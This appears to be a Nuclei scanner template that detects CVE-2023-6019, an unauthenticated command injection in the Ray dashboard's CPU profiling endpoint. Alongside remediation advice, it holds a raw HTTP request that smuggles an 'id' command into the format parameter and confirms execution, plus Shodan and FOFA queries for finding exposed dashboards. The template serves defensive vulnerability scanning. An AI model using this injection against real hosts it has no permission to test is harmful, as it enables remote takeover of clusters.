Ray versions 2.6.3 and earlier are vulnerable to an unauthenticated OS command injection in the dashboard CPU profiling endpoint (/worker/cpu_profile). The format query parameter is concatenated into a shell command (py-spy record ... -f <format>) that is executed via create_subprocess_shell(shell=True) without any validation, allowing a remote unauthenticated attacker to run arbitrary operating system commands on the host running the Ray dashboard. The failed-command error path reflects the injected command output in the HTTP response.
id: CVE-2023-6019
info:
name: Ray <= 2.6.3 - Unauthenticated Command Injection
author: DhiyaneshDk
severity: critical
description: |
Ray versions 2.6.3 and earlier are vulnerable to an unauthenticated OS command injection in the dashboard CPU profiling endpoint (/worker/cpu_profile). The format query parameter is concatenated into a shell command (py-spy record ... -f <format>) that is executed via create_subprocess_shell(shell=True) without any validation, allowing a remote unauthenticated attacker to run arbitrary operating system commands on the host running the Ray dashboard. The failed-command error path reflects the injected command output in the HTTP response.
impact: |
An unauthenticated remote attacker can execute arbitrary OS commands on the Ray dashboard host, leading to full compromise of the node and any data or infrastructure the Ray cluster can access.
remediation: |
Upgrade Ray to version 2.7.0 or later, which validates the format parameter against an allow-list and uses argv-based (non-shell) subprocess execution. Do not expose the Ray dashboard (default port 8265) to untrusted networks.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-6019
- https://github.com/ray-project/ray/releases/tag/ray-2.7.0
- https://www.exploit-db.com/exploits/51978
- https://www.anyscale.com/blog/update-on-ray-cves-cve-2023-6019-cve-2023-6020-cve-2023-6021-cve-2023-48022-cve-2023-48023
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-6019
epss-score: 0.82503
epss-percentile: 0.99668
cwe-id: CWE-78
metadata:
verified: true
max-request: 2
vendor: anyscale
product: ray
shodan-query: http.title:"Ray Dashboard"
fofa-query: title="Ray Dashboard"
tags: cve,cve2023,ray,anyscale,rce,unauth,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/version HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- '"ray_version"'
- '"ray_commit"'
condition: and
internal: true
- raw:
- |
GET /worker/cpu_profile?pid=1&duration=1&native=0&format=flamegraph%3Bid%3Bfalse HTTP/1.1
Host: {{Hostname}}
matchers:
- type: regex
part: body
regex:
- 'uid=[0-9]+\([^)]+\)\s+gid=[0-9]+\([^)]+\)\s+groups='
extractors:
- type: regex
part: body
group: 1
regex:
- '(uid=[0-9]+\([^)]+\)[^\n"]*)'
# digest: 490a0046304402200b3e19af4c935cf7b855e4bb60ffd3a2682f0c4bcd5527c3ff72a8f75102a66902203f0162a07aef91fb196f292358dcc615840c41222470d8f573bc7a2b13c76b3f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.